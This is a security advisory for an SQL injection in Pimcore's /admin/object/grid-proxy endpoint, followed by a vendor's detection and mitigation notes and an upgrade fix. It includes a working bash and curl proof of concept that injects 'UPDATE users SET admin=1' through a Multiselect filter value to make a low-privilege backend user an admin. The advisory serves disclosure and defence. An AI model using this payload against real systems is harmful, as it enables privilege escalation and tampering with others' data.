Description
Summary
User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.
Details
The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.
One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312
PoC
- Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)
- Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled.
- Log out and back in with the new user. Grab the
X-pimcore-csrf-tokenheader from any request the backend does, as well as thePHPSESSIDcookie. - Run the following script, substituting the values accordingly:
#!/bin/bash BASE_URL=http://localhost:8084 # REPLACE THIS! CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS! COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS! SQL="UPDATE users SET admin=1" FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]" curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \ -X POST \ -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \ -H "Cookie: ${COOKIE}" \ --data "filter=$FILTER_JSON" - Refresh the backend, the user is admin now.
Notes
The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.
Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.
Impact
Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pimcore/pimcore. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update pimcore/pimcore to 11.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-72hh-xf79-429p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-72hh-xf79-429p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-72hh-xf79-429p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-72hh-xf79-429p in your dependencies?
O3 detects GHSA-72hh-xf79-429p across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
